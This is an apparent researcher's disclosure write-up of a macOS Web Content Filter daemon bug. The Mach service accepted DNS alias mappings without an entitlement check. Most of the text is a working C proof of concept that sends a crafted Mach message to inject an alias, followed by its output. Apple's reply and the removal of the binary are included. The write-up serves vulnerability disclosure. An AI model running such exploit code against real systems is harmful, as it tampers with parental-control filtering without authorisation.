Screenshot showing relevant output
Figure 1: Additional Credits from Apple on macOS 26.2

I was credited in Apple security note: macOS 26.2 Tahoe

introduction

The Mach service com.apple.webcontentfilter.dns exposes a mig routine that allows a client to add alias -> canonical name mappings to the daemon’s WDNSResolutionRepository in memory (the route internally maps to addAliasName:forName:). There is no entitlement check protecting this route. The change is in-memory only (the repository is not auto-persisted to disk), but can be dumped by sending SIGUSR2 to the daemon which writes /tmp/webfilterDNSd_repository.txt.

exploitation


#define _DARWIN_C_SOURCE 1
#include 
#include 
#include 
#include 
#include 

static const mach_msg_id_t BASE_ID = 0xACC9EE7;

static uint32_t align4(uint32_t x) { return (x + 3u) & ~3u; }

// send a mach message with alas and name as payload
static int try_one(mach_port_t service, mach_msg_id_t msg_id, const char *alias, const char *name) {
    uint32_t len1 = (uint32_t)strlen(alias) + 1;
    uint32_t len2 = (uint32_t)strlen(name) + 1;
    uint32_t a1 = align4(len1);
    uint32_t a2 = align4(len2);
    uint32_t msg_size = 0x34u + a1 + a2;

    mach_port_t reply = MACH_PORT_NULL;
    kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "[!] mach_port_allocate failed: %s\n", mach_error_string(kr));
        return -1;
    }

    uint8_t *buf = calloc(1, msg_size > 4096 ? msg_size : 4096);
    if (!buf) {
        fprintf(stderr, "[!] calloc failed\n");
        mach_port_destroy(mach_task_self(), reply);
        return -1;
    }

    mach_msg_header_t *hdr = (mach_msg_header_t *)buf;
    hdr->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE);
    hdr->msgh_size = msg_size;
    hdr->msgh_remote_port = service;
    hdr->msgh_local_port = reply;
    hdr->msgh_reserved = 0;
    hdr->msgh_id = msg_id;

    *(uint32_t *)(buf + 0x24) = len1;
    memcpy(buf + 0x28, alias, len1);

    *(uint32_t *)(buf + 0x2C + a1) = len2;
    memcpy(buf + 0x30 + a1, name, len2);

    kr = mach_msg(hdr, MACH_SEND_MSG | MACH_RCV_MSG, msg_size, 4096, reply, 2000, MACH_PORT_NULL);
    int retcode = -7777;
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "[-] mach_msg 0x%x failed: %s\n", msg_id, mach_error_string(kr));
    } else {
        retcode = *(int32_t *)(buf + 0x20);
        fprintf(stderr, "[*] mach_msg 0x%x returned RetCode %d\n", msg_id, retcode);
    }

    free(buf);
    mach_port_destroy(mach_task_self(), reply);
    return retcode;
}

static kern_return_t lookup_service(const char *service, mach_port_t *port) {
    mach_port_t bs = MACH_PORT_NULL;
    kern_return_t kr = task_get_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, &bs);
    if (kr != KERN_SUCCESS) return kr;
    return bootstrap_look_up(bs, (char *)service, port);
}

// com.apple.webcontentfilter.dns 
__attribute__((constructor))
static void poc() {
    const char *candidates[] = {
        "com.apple.webcontentfilter.dns",
        "com.apple.webfilterdnsd",
        "com.apple.webfilterdns",
        NULL
    };

    mach_port_t service = MACH_PORT_NULL;
    kern_return_t kr = KERN_FAILURE;
    for (int i = 0; candidates[i]; i++) {
        kr = lookup_service(candidates[i], &service);
        if (kr == KERN_SUCCESS) {
            fprintf(stderr, "[*] Mach service found: %s (port 0x%x)\n", candidates[i], service);
            break;
        }
    }

    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "[!] Cant find mach service\n");
        return;
    }

    //  (msg_id 0xACC9EE8)
    mach_msg_id_t msg_id = BASE_ID + 1;
    const char *alias = "injected.alias";
    const char *name = "injected.alias";

    int rc = try_one(service, msg_id, alias, name);
    if (rc == 0) {
        fprintf(stderr, "[+] SUCCESS: alias added\n");
    } else {
        fprintf(stderr, "[-] Failure met retcode %d\n", rc);
    }
}
              

Results:


kunpeeks@macbook-pro-van-kun-2 /tmp % cat webfilterDNSd_repository.txt| grep injected

1959. { WFDNSEntry         injected.alias (0)                :  WFDNSEntry injected.alias (1)  }
              

conclusion

Manipulating in-memory alias mappings is more of a funny bug than a serious vulnerability as it doesn't really break any trust boundaries. Also Apple told me this: "The Web Content Filter daemon (webfilterDNSd) and its consumers (Screen Time & parental controls) are components that provide user-facing content management functionality and are not intended to protect a device against manipulation by a malicious person."

patch

Apple decided to remove the binary (due the legacy code) /System/Library/PrivateFrameworks/WebContentAnalysis.framework/ Versions/A/Resources/webfilterDNSd in macOS 26.2 Tahoe beta 3 and implemented new code somewhere else.